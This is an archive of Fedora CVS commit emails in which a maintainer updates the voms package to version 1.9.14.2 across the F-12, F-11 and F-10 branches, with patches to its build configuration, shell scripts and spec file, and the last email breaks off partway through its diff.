 Source: serefpolicy-%{version}.tgz
@@ -449,6 +449,11 @@ exit 0
 %endif
 
 %changelog
+* Wed Oct 21 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-31
+- Allow unconfined_execmem_t to transition to sandbox
+- Add sectool policy
+- Add sssd log files
+
 * Tue Oct 20 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-30
 - Fixes found for confined users day
 



From ellert at fedoraproject.org  Wed Oct 21 15:56:51 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Wed, 21 Oct 2009 15:56:51 +0000 (UTC)
Subject: rpms/voms/F-12 voms-expat.patch, NONE, 1.1 .cvsignore, 1.3,
	1.4 import.log, 1.2, 1.3 sources, 1.3, 1.4 voms-nolib64.patch,
	1.1, 1.2 voms-portability.patch, 1.2,
	1.3 voms-shell-syntax.patch, 1.1, 1.2 voms.spec, 1.2, 1.3
Message-ID: <20091021155651.A057311C00E8@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/voms/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25478/F-12

Modified Files:
	.cvsignore import.log sources voms-nolib64.patch 
	voms-portability.patch voms-shell-syntax.patch voms.spec 
Added Files:
	voms-expat.patch 
Log Message:
* Tue Oct 20 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.9.14.2-1
- Upstream 1.9.14.2 (CVS tag glite-security-voms_R_1_9_14_2)


voms-expat.patch:
 expat.m4 |   14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

--- NEW FILE voms-expat.patch ---
diff -ur voms-1.9.14.2.orig/project/expat.m4 voms-1.9.14.2/project/expat.m4
--- voms-1.9.14.2.orig/project/expat.m4	2009-02-04 15:54:28.000000000 +0100
+++ voms-1.9.14.2/project/expat.m4	2009-10-20 12:39:11.202112514 +0200
@@ -19,13 +19,13 @@
     ac_save_CFLAGS=$CFLAGS
     ac_save_LIBS=$LIBS
     if test -n "$with_expat_prefix" -a "$with_expat_prefix" != "/usr" ; then
-  EXPAT_CFLAGS="-I$with_expat_prefix/include"
+	EXPAT_CFLAGS="-I$with_expat_prefix/include"
 	EXPAT_LIBS="-L$with_expat_prefix/lib"
-  EXPAT_LIBS64="-L$with_expat_prefix/lib64"
+	EXPAT_LIBS64="-L$with_expat_prefix/lib64"
     else
 	EXPAT_CFLAGS=""
-	EXPAT_LIBS="-L/usr/lib"
-	EXPAT_LIBS64="-L/usr/lib64"
+	EXPAT_LIBS=""
+	EXPAT_LIBS64=""
     fi
 
     EXPAT_LIBS="$EXPAT_LIBS -lexpat"	
@@ -49,13 +49,13 @@
 #    echo "ac_cv_expat_valid64=$ac_cv_expat_valid64"
     if test x$ac_cv_expat_valid64 = xyes ; then
       EXPAT_INSTALL_PATH=$with_expat_prefix
-    	EXPAT_STATIC_LIBS="$with_expat_prefix/lib/libexpat.a"
-      EXPAT_LIBS="-L$with_expat_prefix/lib64 -lexpat"
+      EXPAT_STATIC_LIBS="$with_expat_prefix/lib64/libexpat.a"
+      EXPAT_LIBS=$EXPAT_LIBS64
       AC_MSG_RESULT([$ac_cv_expat_valid64 (in lib64)])
     	ifelse([$2], , :, [$2])
     elif test x$ac_cv_expat_valid = xyes ; then
       EXPAT_INSTALL_PATH=$with_expat_prefix
-    	EXPAT_STATIC_LIBS="$with_expat_prefix/lib/libexpat.a"
+      EXPAT_STATIC_LIBS="$with_expat_prefix/lib/libexpat.a"
       AC_MSG_RESULT([$ac_cv_expat_valid (in lib)])
     	ifelse([$2], , :, [$2])
     else


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/voms/F-12/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	21 Sep 2009 04:57:59 -0000	1.3
+++ .cvsignore	21 Oct 2009 15:56:48 -0000	1.4
@@ -1 +1 @@
-voms-1.9.12.1.tar.gz
+voms-1.9.14.2.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/voms/F-12/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	21 Sep 2009 04:57:59 -0000	1.2
+++ import.log	21 Oct 2009 15:56:48 -0000	1.3
@@ -1,2 +1,3 @@
 voms-1_9_11-4_fc11:HEAD:voms-1.9.11-4.fc11.src.rpm:1252549706
 voms-1_9_12_1-1_fc11:HEAD:voms-1.9.12.1-1.fc11.src.rpm:1253508983
+voms-1_9_14_2-1_fc11:F-12:voms-1.9.14.2-1.fc11.src.rpm:1256140565


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/voms/F-12/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	21 Sep 2009 04:57:59 -0000	1.3
+++ sources	21 Oct 2009 15:56:48 -0000	1.4
@@ -1 +1 @@
-8f4df625122198faa509453e9df9950e  voms-1.9.12.1.tar.gz
+b7d5b886e61d73c343a6686d5aa3eafe  voms-1.9.14.2.tar.gz

voms-nolib64.patch:
 configure.ac |   12 ------------
 1 file changed, 12 deletions(-)

Index: voms-nolib64.patch
===================================================================
RCS file: /cvs/pkgs/rpms/voms/F-12/voms-nolib64.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- voms-nolib64.patch	10 Sep 2009 02:31:49 -0000	1.1
+++ voms-nolib64.patch	21 Oct 2009 15:56:48 -0000	1.2
@@ -1,7 +1,7 @@
-diff -ur voms-1.9.8.1.orig/configure.ac voms-1.9.8.1/configure.ac
---- voms-1.9.8.1.orig/configure.ac	2009-04-16 15:57:03.000000000 +0200
-+++ voms-1.9.8.1/configure.ac	2009-07-02 12:16:10.035379837 +0200
-@@ -37,10 +37,6 @@
+diff -ur voms-1.9.14.2.orig/configure.ac voms-1.9.14.2/configure.ac
+--- voms-1.9.14.2.orig/configure.ac	2009-10-15 10:29:56.000000000 +0200
++++ voms-1.9.14.2/configure.ac	2009-10-20 09:30:50.748114823 +0200
+@@ -36,18 +36,6 @@
  
  AC_ENABLE_GLITE([], have_glite=yes, have_glite=no) # embed AC_GLITE
  
@@ -9,6 +9,14 @@ diff -ur voms-1.9.8.1.orig/configure.ac 
 -    AC_SUBST([libdir], ['${exec_prefix}/lib64'])
 -fi
 -
+-if test -h /usr/lib64 ; then
+-    libdir='${exec_prefix}/lib'
+-fi
+-
+-if ! test -e /usr/lib64 ; then
+-    libdir='${exec_prefix}/lib'
+-fi
+-
  AC_EXPAT([], have_expat=yes, have_expat=no)        # taken from org.glite
  AC_CPPUNIT([], have_cppunit=yes, have_cppunit=no)  # taken from org.glite
  AC_GLOBUS([], have_globus=yes, have_globus=no)

voms-portability.patch:
 configure.ac              |    2 -
 project/acinclude.m4      |    8 +++++--
 src/api/ccapi/Makefile.am |   42 ++++++++++++++++++++---------------------
 src/socklib/Makefile.am   |   47 +++++++++++++++++++++++++++-------------------
 4 files changed, 56 insertions(+), 43 deletions(-)

Index: voms-portability.patch
===================================================================
RCS file: /cvs/pkgs/rpms/voms/F-12/voms-portability.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- voms-portability.patch	21 Sep 2009 04:57:59 -0000	1.2
+++ voms-portability.patch	21 Oct 2009 15:56:48 -0000	1.3
@@ -1,9 +1,8 @@
 diff -ur voms-1.9.11.orig/configure.ac voms-1.9.11/configure.ac
 --- voms-1.9.11.orig/configure.ac	2009-07-16 15:10:39.000000000 +0200
 +++ voms-1.9.11/configure.ac	2009-09-08 14:13:33.244334250 +0200
-@@ -1,6 +1,6 @@
- 
- AC_INIT([GLite Security VOMS], [1.9.12])
+@@ -0,5 +0,5 @@
+ AC_INIT([GLite Security VOMS], [1.9.14])
 -AC_PREREQ(2.59)
 +AC_PREREQ(2.57)
  AC_CONFIG_AUX_DIR([./project])

voms-shell-syntax.patch:
 mysql2oracle.in |    5 ++---
 voms-ping       |    4 ++--
 2 files changed, 4 insertions(+), 5 deletions(-)

Index: voms-shell-syntax.patch
===================================================================
RCS file: /cvs/pkgs/rpms/voms/F-12/voms-shell-syntax.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- voms-shell-syntax.patch	10 Sep 2009 02:31:49 -0000	1.1
+++ voms-shell-syntax.patch	21 Oct 2009 15:56:48 -0000	1.2
@@ -1,29 +1,30 @@
-diff -ur voms-1.9.8.1.orig/src/install/mysql2oracle.in voms-1.9.8.1/src/install/mysql2oracle.in
---- voms-1.9.8.1.orig/src/install/mysql2oracle.in	2005-09-27 16:23:56.000000000 +0200
-+++ voms-1.9.8.1/src/install/mysql2oracle.in	2009-07-02 18:40:14.000000000 +0200
-@@ -2,7 +2,7 @@
- #!/bin/sh
+diff -ur voms-1.9.14.2.orig/src/install/mysql2oracle.in voms-1.9.14.2/src/install/mysql2oracle.in
+--- voms-1.9.14.2.orig/src/install/mysql2oracle.in	2009-07-16 15:10:40.000000000 +0200
++++ voms-1.9.14.2/src/install/mysql2oracle.in	2009-10-20 10:47:24.767113029 +0200
+@@ -1,8 +1,7 @@
+-#!/bin/sh
++#!/bin/bash
  #set -x
  
 -function usage()
-+function usage
- {
+-{
++usage () {
      echo
      echo "usage : mysql2oracle [OPTIONS]"
-diff -ur voms-1.9.8.1.orig/src/install/voms-ping voms-1.9.8.1/src/install/voms-ping
---- voms-1.9.8.1.orig/src/install/voms-ping	2008-12-23 11:46:01.000000000 +0100
-+++ voms-1.9.8.1/src/install/voms-ping	2009-07-02 18:42:24.000000000 +0200
-@@ -25,7 +25,8 @@
+     echo
+diff -ur voms-1.9.14.2.orig/src/install/voms-ping voms-1.9.14.2/src/install/voms-ping
+--- voms-1.9.14.2.orig/src/install/voms-ping	2008-12-23 11:46:01.000000000 +0100
++++ voms-1.9.14.2/src/install/voms-ping	2009-10-20 10:46:58.686114743 +0200
+@@ -25,7 +25,7 @@
    echo "  ]"
  }
  
 -function test_vo {
-+function test_vo
-+{
++test_vo() {
     local voname="$1"
     local port=`cat $GLITE_LOCATION/etc/voms/$voname/voms.conf  | grep '^--port' | sed 's/^--port=//'`
     local dn=`openssl x509 -subject -noout -in /etc/grid-security/hostcert.pem|cut -d' ' -f2-`
-@@ -41,7 +42,7 @@
+@@ -41,7 +41,7 @@
  "$voname" "localhost" "$port" "$dn" "$voname"
  EOF
     rm -f /tmp/oo


Index: voms.spec
===================================================================
RCS file: /cvs/pkgs/rpms/voms/F-12/voms.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- voms.spec	21 Sep 2009 04:57:59 -0000	1.2
+++ voms.spec	21 Oct 2009 15:56:48 -0000	1.3
@@ -1,7 +1,7 @@
 %global with_gcj %{!?_without_gcj:1}%{?_without_gcj:0}
 
 Name:		voms
-Version:	1.9.12.1
+Version:	1.9.14.2
 Release:	1%{?dist}
 Summary:	Virtual Organization Membership Service
 
@@ -10,9 +10,9 @@ License:	ASL 2.0
 URL:		http://glite.web.cern.ch/glite/
 #		The source tarball is created from a CVS checkout:
 #		cvs -d:pserver:anonymous:@glite.cvs.cern.ch:/cvs/glite co \
-#		  -r glite-security-voms_R_1_9_12_1 \
-#		  -d voms-1.9.12.1 org.glite.security.voms
-#		tar -z -c --exclude CVS -f voms-1.9.12.1.tar.gz voms-1.9.12.1
+#		  -r glite-security-voms_R_1_9_14_2 \
+#		  -d voms-1.9.14.2 org.glite.security.voms
+#		tar -z -c --exclude CVS -f voms-1.9.14.2.tar.gz voms-1.9.14.2
 Source:		%{name}-%{version}.tar.gz
 #		Post-install setup instructions:
 Source1:	%{name}.INSTALL
@@ -61,6 +61,9 @@ Patch13:	%{name}-openssl.patch
 #		Unconditional use of PIPE_BUF
 #		https://savannah.cern.ch/bugs/?55405
 Patch14:	%{name}-pipe-buf.patch
+#		Make sure -L/usr/lib and -L/usr/lib64 is not used
+#		https://savannah.cern.ch/bugs/?57261
+Patch15:	%{name}-expat.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:	globus-gssapi-gsi-devel%{?_isa}
@@ -78,7 +81,7 @@ BuildRequires:	tex(latex)
 BuildRequires:	tetex-latex
 %endif
 
-BuildRequires:	java-devel
+BuildRequires:	java-devel >= 1:1.6.0
 BuildRequires:	jpackage-utils
 BuildRequires:	bouncycastle >= 1.39
 BuildRequires:	jakarta-commons-cli
@@ -217,6 +220,7 @@ Virtual Organization Membership Service 
 %patch12 -p1
 %patch13 -p1
 %patch14 -p1
+%patch15 -p1
 
 # Fix bad permissions (which otherwise end up in the debuginfo package)
 find . '(' -name '*.h' -o -name '*.c' -o -name '*.cpp' -o \
@@ -456,6 +460,9 @@ fi
 %doc %{_javadocdir}/vomsjapi-%{version}
 
 %changelog
+* Tue Oct 20 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.9.14.2-1
+- Upstream 1.9.14.2 (CVS tag glite-security-voms_R_1_9_14_2)
+
 * Fri Sep 18 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.9.12.1-1
 - Upstream 1.9.12.1 (CVS tag glite-security-voms_R_1_9_12_1)
 



From ellert at fedoraproject.org  Wed Oct 21 15:59:58 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Wed, 21 Oct 2009 15:59:58 +0000 (UTC)
Subject: rpms/voms/F-11 voms-expat.patch, NONE, 1.1 .cvsignore, 1.3,
	1.4 import.log, 1.2, 1.3 sources, 1.3, 1.4 voms-nolib64.patch,
	1.1, 1.2 voms-portability.patch, 1.2,
	1.3 voms-shell-syntax.patch, 1.1, 1.2 voms.spec, 1.2, 1.3
Message-ID: <20091021155958.8594911C00E8@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/voms/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26592/F-11

Modified Files:
	.cvsignore import.log sources voms-nolib64.patch 
	voms-portability.patch voms-shell-syntax.patch voms.spec 
Added Files:
	voms-expat.patch 
Log Message:
* Tue Oct 20 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.9.14.2-1
- Upstream 1.9.14.2 (CVS tag glite-security-voms_R_1_9_14_2)


voms-expat.patch:
 expat.m4 |   14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

--- NEW FILE voms-expat.patch ---
diff -ur voms-1.9.14.2.orig/project/expat.m4 voms-1.9.14.2/project/expat.m4
--- voms-1.9.14.2.orig/project/expat.m4	2009-02-04 15:54:28.000000000 +0100
+++ voms-1.9.14.2/project/expat.m4	2009-10-20 12:39:11.202112514 +0200
@@ -19,13 +19,13 @@
     ac_save_CFLAGS=$CFLAGS
     ac_save_LIBS=$LIBS
     if test -n "$with_expat_prefix" -a "$with_expat_prefix" != "/usr" ; then
-  EXPAT_CFLAGS="-I$with_expat_prefix/include"
+	EXPAT_CFLAGS="-I$with_expat_prefix/include"
 	EXPAT_LIBS="-L$with_expat_prefix/lib"
-  EXPAT_LIBS64="-L$with_expat_prefix/lib64"
+	EXPAT_LIBS64="-L$with_expat_prefix/lib64"
     else
 	EXPAT_CFLAGS=""
-	EXPAT_LIBS="-L/usr/lib"
-	EXPAT_LIBS64="-L/usr/lib64"
+	EXPAT_LIBS=""
+	EXPAT_LIBS64=""
     fi
 
     EXPAT_LIBS="$EXPAT_LIBS -lexpat"	
@@ -49,13 +49,13 @@
 #    echo "ac_cv_expat_valid64=$ac_cv_expat_valid64"
     if test x$ac_cv_expat_valid64 = xyes ; then
       EXPAT_INSTALL_PATH=$with_expat_prefix
-    	EXPAT_STATIC_LIBS="$with_expat_prefix/lib/libexpat.a"
-      EXPAT_LIBS="-L$with_expat_prefix/lib64 -lexpat"
+      EXPAT_STATIC_LIBS="$with_expat_prefix/lib64/libexpat.a"
+      EXPAT_LIBS=$EXPAT_LIBS64
       AC_MSG_RESULT([$ac_cv_expat_valid64 (in lib64)])
     	ifelse([$2], , :, [$2])
     elif test x$ac_cv_expat_valid = xyes ; then
       EXPAT_INSTALL_PATH=$with_expat_prefix
-    	EXPAT_STATIC_LIBS="$with_expat_prefix/lib/libexpat.a"
+      EXPAT_STATIC_LIBS="$with_expat_prefix/lib/libexpat.a"
       AC_MSG_RESULT([$ac_cv_expat_valid (in lib)])
     	ifelse([$2], , :, [$2])
     else


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/voms/F-11/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	21 Sep 2009 04:59:31 -0000	1.3
+++ .cvsignore	21 Oct 2009 15:59:58 -0000	1.4
@@ -1 +1 @@
-voms-1.9.12.1.tar.gz
+voms-1.9.14.2.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/voms/F-11/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	21 Sep 2009 04:59:31 -0000	1.2
+++ import.log	21 Oct 2009 15:59:58 -0000	1.3
@@ -1,2 +1,3 @@
 voms-1_9_11-4_fc11:F-11:voms-1.9.11-4.fc11.src.rpm:1252550034
 voms-1_9_12_1-1_fc11:F-11:voms-1.9.12.1-1.fc11.src.rpm:1253509138
+voms-1_9_14_2-1_fc11:F-11:voms-1.9.14.2-1.fc11.src.rpm:1256140773


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/voms/F-11/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	21 Sep 2009 04:59:31 -0000	1.3
+++ sources	21 Oct 2009 15:59:58 -0000	1.4
@@ -1 +1 @@
-8f4df625122198faa509453e9df9950e  voms-1.9.12.1.tar.gz
+b7d5b886e61d73c343a6686d5aa3eafe  voms-1.9.14.2.tar.gz

voms-nolib64.patch:
 configure.ac |   12 ------------
 1 file changed, 12 deletions(-)

Index: voms-nolib64.patch
===================================================================
RCS file: /cvs/pkgs/rpms/voms/F-11/voms-nolib64.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- voms-nolib64.patch	10 Sep 2009 02:34:27 -0000	1.1
+++ voms-nolib64.patch	21 Oct 2009 15:59:58 -0000	1.2
@@ -1,7 +1,7 @@
-diff -ur voms-1.9.8.1.orig/configure.ac voms-1.9.8.1/configure.ac
---- voms-1.9.8.1.orig/configure.ac	2009-04-16 15:57:03.000000000 +0200
-+++ voms-1.9.8.1/configure.ac	2009-07-02 12:16:10.035379837 +0200
-@@ -37,10 +37,6 @@
+diff -ur voms-1.9.14.2.orig/configure.ac voms-1.9.14.2/configure.ac
+--- voms-1.9.14.2.orig/configure.ac	2009-10-15 10:29:56.000000000 +0200
++++ voms-1.9.14.2/configure.ac	2009-10-20 09:30:50.748114823 +0200
+@@ -36,18 +36,6 @@
  
  AC_ENABLE_GLITE([], have_glite=yes, have_glite=no) # embed AC_GLITE
  
@@ -9,6 +9,14 @@ diff -ur voms-1.9.8.1.orig/configure.ac 
 -    AC_SUBST([libdir], ['${exec_prefix}/lib64'])
 -fi
 -
+-if test -h /usr/lib64 ; then
+-    libdir='${exec_prefix}/lib'
+-fi
+-
+-if ! test -e /usr/lib64 ; then
+-    libdir='${exec_prefix}/lib'
+-fi
+-
  AC_EXPAT([], have_expat=yes, have_expat=no)        # taken from org.glite
  AC_CPPUNIT([], have_cppunit=yes, have_cppunit=no)  # taken from org.glite
  AC_GLOBUS([], have_globus=yes, have_globus=no)

voms-portability.patch:
 configure.ac              |    2 -
 project/acinclude.m4      |    8 +++++--
 src/api/ccapi/Makefile.am |   42 ++++++++++++++++++++---------------------
 src/socklib/Makefile.am   |   47 +++++++++++++++++++++++++++-------------------
 4 files changed, 56 insertions(+), 43 deletions(-)

Index: voms-portability.patch
===================================================================
RCS file: /cvs/pkgs/rpms/voms/F-11/voms-portability.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- voms-portability.patch	21 Sep 2009 04:59:31 -0000	1.2
+++ voms-portability.patch	21 Oct 2009 15:59:58 -0000	1.3
@@ -1,9 +1,8 @@
 diff -ur voms-1.9.11.orig/configure.ac voms-1.9.11/configure.ac
 --- voms-1.9.11.orig/configure.ac	2009-07-16 15:10:39.000000000 +0200
 +++ voms-1.9.11/configure.ac	2009-09-08 14:13:33.244334250 +0200
-@@ -1,6 +1,6 @@
- 
- AC_INIT([GLite Security VOMS], [1.9.12])
+@@ -0,5 +0,5 @@
+ AC_INIT([GLite Security VOMS], [1.9.14])
 -AC_PREREQ(2.59)
 +AC_PREREQ(2.57)
  AC_CONFIG_AUX_DIR([./project])

voms-shell-syntax.patch:
 mysql2oracle.in |    5 ++---
 voms-ping       |    4 ++--
 2 files changed, 4 insertions(+), 5 deletions(-)

Index: voms-shell-syntax.patch
===================================================================
RCS file: /cvs/pkgs/rpms/voms/F-11/voms-shell-syntax.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- voms-shell-syntax.patch	10 Sep 2009 02:34:27 -0000	1.1
+++ voms-shell-syntax.patch	21 Oct 2009 15:59:58 -0000	1.2
@@ -1,29 +1,30 @@
-diff -ur voms-1.9.8.1.orig/src/install/mysql2oracle.in voms-1.9.8.1/src/install/mysql2oracle.in
---- voms-1.9.8.1.orig/src/install/mysql2oracle.in	2005-09-27 16:23:56.000000000 +0200
-+++ voms-1.9.8.1/src/install/mysql2oracle.in	2009-07-02 18:40:14.000000000 +0200
-@@ -2,7 +2,7 @@
- #!/bin/sh
+diff -ur voms-1.9.14.2.orig/src/install/mysql2oracle.in voms-1.9.14.2/src/install/mysql2oracle.in
+--- voms-1.9.14.2.orig/src/install/mysql2oracle.in	2009-07-16 15:10:40.000000000 +0200
++++ voms-1.9.14.2/src/install/mysql2oracle.in	2009-10-20 10:47:24.767113029 +0200
+@@ -1,8 +1,7 @@
+-#!/bin/sh
++#!/bin/bash
  #set -x
  
 -function usage()
-+function usage
- {
+-{
++usage () {
      echo
      echo "usage : mysql2oracle [OPTIONS]"
-diff -ur voms-1.9.8.1.orig/src/install/voms-ping voms-1.9.8.1/src/install/voms-ping
---- voms-1.9.8.1.orig/src/install/voms-ping	2008-12-23 11:46:01.000000000 +0100
-+++ voms-1.9.8.1/src/install/voms-ping	2009-07-02 18:42:24.000000000 +0200
-@@ -25,7 +25,8 @@
+     echo
+diff -ur voms-1.9.14.2.orig/src/install/voms-ping voms-1.9.14.2/src/install/voms-ping
+--- voms-1.9.14.2.orig/src/install/voms-ping	2008-12-23 11:46:01.000000000 +0100
++++ voms-1.9.14.2/src/install/voms-ping	2009-10-20 10:46:58.686114743 +0200
+@@ -25,7 +25,7 @@
    echo "  ]"
  }
  
 -function test_vo {
-+function test_vo
-+{
++test_vo() {
     local voname="$1"
     local port=`cat $GLITE_LOCATION/etc/voms/$voname/voms.conf  | grep '^--port' | sed 's/^--port=//'`
     local dn=`openssl x509 -subject -noout -in /etc/grid-security/hostcert.pem|cut -d' ' -f2-`
-@@ -41,7 +42,7 @@
+@@ -41,7 +41,7 @@
  "$voname" "localhost" "$port" "$dn" "$voname"
  EOF
     rm -f /tmp/oo


Index: voms.spec
===================================================================
RCS file: /cvs/pkgs/rpms/voms/F-11/voms.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- voms.spec	21 Sep 2009 04:59:32 -0000	1.2
+++ voms.spec	21 Oct 2009 15:59:58 -0000	1.3
@@ -1,7 +1,7 @@
 %global with_gcj %{!?_without_gcj:1}%{?_without_gcj:0}
 
 Name:		voms
-Version:	1.9.12.1
+Version:	1.9.14.2
 Release:	1%{?dist}
 Summary:	Virtual Organization Membership Service
 
@@ -10,9 +10,9 @@ License:	ASL 2.0
 URL:		http://glite.web.cern.ch/glite/
 #		The source tarball is created from a CVS checkout:
 #		cvs -d:pserver:anonymous:@glite.cvs.cern.ch:/cvs/glite co \
-#		  -r glite-security-voms_R_1_9_12_1 \
-#		  -d voms-1.9.12.1 org.glite.security.voms
-#		tar -z -c --exclude CVS -f voms-1.9.12.1.tar.gz voms-1.9.12.1
+#		  -r glite-security-voms_R_1_9_14_2 \
+#		  -d voms-1.9.14.2 org.glite.security.voms
+#		tar -z -c --exclude CVS -f voms-1.9.14.2.tar.gz voms-1.9.14.2
 Source:		%{name}-%{version}.tar.gz
 #		Post-install setup instructions:
 Source1:	%{name}.INSTALL
@@ -61,6 +61,9 @@ Patch13:	%{name}-openssl.patch
 #		Unconditional use of PIPE_BUF
 #		https://savannah.cern.ch/bugs/?55405
 Patch14:	%{name}-pipe-buf.patch
+#		Make sure -L/usr/lib and -L/usr/lib64 is not used
+#		https://savannah.cern.ch/bugs/?57261
+Patch15:	%{name}-expat.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:	globus-gssapi-gsi-devel%{?_isa}
@@ -78,7 +81,7 @@ BuildRequires:	tex(latex)
 BuildRequires:	tetex-latex
 %endif
 
-BuildRequires:	java-devel
+BuildRequires:	java-devel >= 1:1.6.0
 BuildRequires:	jpackage-utils
 BuildRequires:	bouncycastle >= 1.39
 BuildRequires:	jakarta-commons-cli
@@ -217,6 +220,7 @@ Virtual Organization Membership Service 
 %patch12 -p1
 %patch13 -p1
 %patch14 -p1
+%patch15 -p1
 
 # Fix bad permissions (which otherwise end up in the debuginfo package)
 find . '(' -name '*.h' -o -name '*.c' -o -name '*.cpp' -o \
@@ -456,6 +460,9 @@ fi
 %doc %{_javadocdir}/vomsjapi-%{version}
 
 %changelog
+* Tue Oct 20 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.9.14.2-1
+- Upstream 1.9.14.2 (CVS tag glite-security-voms_R_1_9_14_2)
+
 * Fri Sep 18 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.9.12.1-1
 - Upstream 1.9.12.1 (CVS tag glite-security-voms_R_1_9_12_1)
 



From ellert at fedoraproject.org  Wed Oct 21 16:01:27 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Wed, 21 Oct 2009 16:01:27 +0000 (UTC)
Subject: rpms/voms/F-10 voms-expat.patch, NONE, 1.1 .cvsignore, 1.3,
	1.4 import.log, 1.2, 1.3 sources, 1.3, 1.4 voms-nolib64.patch,
	1.1, 1.2 voms-portability.patch, 1.2,
	1.3 voms-shell-syntax.patch, 1.1, 1.2 voms.spec, 1.2, 1.3
Message-ID: <20091021160127.CF12811C00E8@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/voms/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27212/F-10

Modified Files:
	.cvsignore import.log sources voms-nolib64.patch 
	voms-portability.patch voms-shell-syntax.patch voms.spec 
Added Files:
	voms-expat.patch 
Log Message:
* Tue Oct 20 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.9.14.2-1
- Upstream 1.9.14.2 (CVS tag glite-security-voms_R_1_9_14_2)


voms-expat.patch:
 expat.m4 |   14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

--- NEW FILE voms-expat.patch ---
diff -ur voms-1.9.14.2.orig/project/expat.m4 voms-1.9.14.2/project/expat.m4
--- voms-1.9.14.2.orig/project/expat.m4	2009-02-04 15:54:28.000000000 +0100
+++ voms-1.9.14.2/project/expat.m4	2009-10-20 12:39:11.202112514 +0200
@@ -19,13 +19,13 @@
     ac_save_CFLAGS=$CFLAGS
     ac_save_LIBS=$LIBS
     if test -n "$with_expat_prefix" -a "$with_expat_prefix" != "/usr" ; then
-  EXPAT_CFLAGS="-I$with_expat_prefix/include"
+	EXPAT_CFLAGS="-I$with_expat_prefix/include"
 	EXPAT_LIBS="-L$with_expat_prefix/lib"
-  EXPAT_LIBS64="-L$with_expat_prefix/lib64"
+	EXPAT_LIBS64="-L$with_expat_prefix/lib64"
     else
 	EXPAT_CFLAGS=""
-	EXPAT_LIBS="-L/usr/lib"
-	EXPAT_LIBS64="-L/usr/lib64"
+	EXPAT_LIBS=""
+	EXPAT_LIBS64=""
     fi
 
     EXPAT_LIBS="$EXPAT_LIBS -lexpat"	
@@ -49,13 +49,13 @@
 #    echo "ac_cv_expat_valid64=$ac_cv_expat_valid64"
     if test x$ac_cv_expat_valid64 = xyes ; then
       EXPAT_INSTALL_PATH=$with_expat_prefix
-    	EXPAT_STATIC_LIBS="$with_expat_prefix/lib/libexpat.a"
-      EXPAT_LIBS="-L$with_expat_prefix/lib64 -lexpat"
+      EXPAT_STATIC_LIBS="$with_expat_prefix/lib64/libexpat.a"
+      EXPAT_LIBS=$EXPAT_LIBS64
       AC_MSG_RESULT([$ac_cv_expat_valid64 (in lib64)])
     	ifelse([$2], , :, [$2])
     elif test x$ac_cv_expat_valid = xyes ; then
       EXPAT_INSTALL_PATH=$with_expat_prefix
-    	EXPAT_STATIC_LIBS="$with_expat_prefix/lib/libexpat.a"
+      EXPAT_STATIC_LIBS="$with_expat_prefix/lib/libexpat.a"
       AC_MSG_RESULT([$ac_cv_expat_valid (in lib)])
     	ifelse([$2], , :, [$2])
     else


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/voms/F-10/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	21 Sep 2009 05:00:26 -0000	1.3
+++ .cvsignore	21 Oct 2009 16:01:22 -0000	1.4
@@ -1 +1 @@
-voms-1.9.12.1.tar.gz
+voms-1.9.14.2.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/voms/F-10/import.log,v
retrieving revision 1.2
retrieving revision 1.3
